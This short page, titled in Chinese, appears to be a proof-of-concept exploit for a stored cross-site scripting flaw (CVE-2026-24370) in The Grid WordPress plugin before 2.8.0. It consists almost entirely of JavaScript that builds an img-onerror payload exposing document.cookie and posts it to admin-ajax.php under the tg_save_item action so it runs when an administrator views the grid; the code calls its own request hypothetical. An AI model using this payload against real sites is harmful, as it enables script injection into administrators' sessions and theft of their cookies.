CVE-2026-24370 The Grid插件存储型XSS漏洞

// PoC for CVE-2026-24370 Stored XSS // Target: The Grid WordPress Plugin < 2.8.0 // Payload to be injected into a vulnerable parameter (e.g., grid item title) var xss_payload = '"><img src=x onerror=alert(document.cookie)>'; // Hypothetical request to inject the payload // Note: Actual endpoint parameters may vary based on plugin configuration var data = { action: 'tg_save_item', item_title: xss_payload, // ... other parameters }; fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(data) }).then(response => console.log('Payload injected')); // Trigger: When an admin views the grid, the alert() will execute.